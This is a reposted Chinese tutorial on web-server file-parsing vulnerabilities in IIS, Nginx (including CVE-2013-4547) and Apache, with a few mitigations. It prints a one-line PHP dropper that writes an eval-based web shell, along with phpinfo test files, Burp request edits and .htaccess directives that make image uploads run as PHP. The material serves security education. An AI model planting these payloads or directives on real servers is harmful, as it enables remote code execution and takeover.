本文转自:Web漏洞 | 文件解析漏洞

简介

文件解析漏洞主要由于网站管理员操作不当或者 Web 服务器自身的漏洞,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行

但是,大部分的解析漏洞还是由于web服务器自身的漏洞,导致特殊文件被当成脚本文件执行了

IIS解析漏洞

目录解析漏洞(/test.asp/1.jpg)

IIS5.x/6.0 中,在网站下建立文件夹的名字为.asp、.asa、.cer、.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行

例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了

文件名解析漏洞(test.asp;.jpg)

IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名

所以我们只要上传 .asp;.jpg、.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行

畸形解析漏洞(test.jpg/*.php)

IIS7.0默认Fast-CGI开启状况下,我们往图片里面写入下面的代码

<?php fputs(fopen(‘shell.php’,’w’),’<?php @eval($_POST[x])?>’)?>

将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦

test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行

临时解决办法:设置 cgi.fix_pathinfo为0

这个解析漏洞和下面讲的Nginx的解析漏洞是一样的

其他解析漏洞

windows环境下xx.jpg[空格]、**xx.jpg**. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单

Nginx解析漏洞

畸形解析漏洞(test.jpg/*.php)

nginx<0.8.03,我们新建一个文件,内容为:<?php phpinfo() ?> ,然后将其名字修改为: test.jpg

访问http://192.168.10.139/test.jpg 显图片解析错误

访问http://192.168.10.139/test.jpg/test.php ,显示:Access denied

这就奇怪了,test.jpg是文件不是目录,test.php更是根本就不存在的文件,访问/test.jpg/test.php没有报404,而是显示 Access denied. 这是到底为啥?
image.png
这其中涉及到php的一个选项:cgi.fix_pathinfo该值默认为1,表示开启

举个例子,当 php 遇到文件路径 /aaa.xxx/bbb.yyy/ccc.zzz 时,若 /aaa.xxx/bbb.yyy/ccc.zzz
不存在**,则会去掉最后的 /ccc.zzz ,然后判断 /aaa.xxx/bbb.yyy 是否存在,若存在,则把 /aaa.xxx/bbb.yyy 当做文件

为何是Nginx中的php才会有这一问题呢?因为Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理

而如**Apache等,会先看该文件是否存在,若存在则再决定该如何处理

%00空字节代码解析漏洞

原理****Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码

范围如下:
image.png
**

CVE-2013-4547(%20%00)

范围:**nginx 0.8.41 ~ 1.5.6

通过非法字符空格和截止符(%00)和点 导致Nginx解析URI时的有限状态机混乱,从而允许攻击者通过一个非编码空格绕过后缀名限制

来测试下,这次测试在Nginx/1.0.15中进行。首先准备一张图片,命名为“test.html ”,注意,文件名含有空格。然后在浏览器中访问该文件,会得到一个404,因为浏览器自动将空格编码为%20,服务器中不存在文件“test.html%20”

准备文件“test.jpg ”,注意文件名的最后一个字符是空格,上传到服务器。文件内容为:
<?php phpinfo(); ?>

用Burp Suite抓包并修改,原本的URL是:http://192.168.56.101/test.jpg…php ,将jpg后的第一个“.”改为20,第二个“.”改为00,如下图所示:
image.png
修改完毕后 Forword 该请求,在浏览器中看到:Access denied

这说明Nginx在接收到这一请求后,确实把文件“test.jpg ”当做php文件交给php去执行了,只是php看到该文件后缀为“.jpg ”而拒绝执行。这样,便验证了Nginx确实存在该漏洞。但是由于 security.limit_extensions 的存在,导致我们并不能利用此漏洞

Apache解析漏洞

解析规则

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.

比如 sec.php.owf.rar “.owf”和 “.rar” 这两种后缀是apache不可识别解析,apache就会把sec.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个sec.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

.htaccess

.htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置
**
该文件默认开启,启用和关闭在 httpd.conf 文件中配置

_ _htaccess 文件生效前提条件为
mod_rewrite 模块开启
AllowOverride All

1:这个.htaccess的意思就是把所有名字里面含有shell后缀的文件当成php脚本来执行

SetHandler application/x-httpd-php

2:这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析
AddType application/x-httpd-php .jpg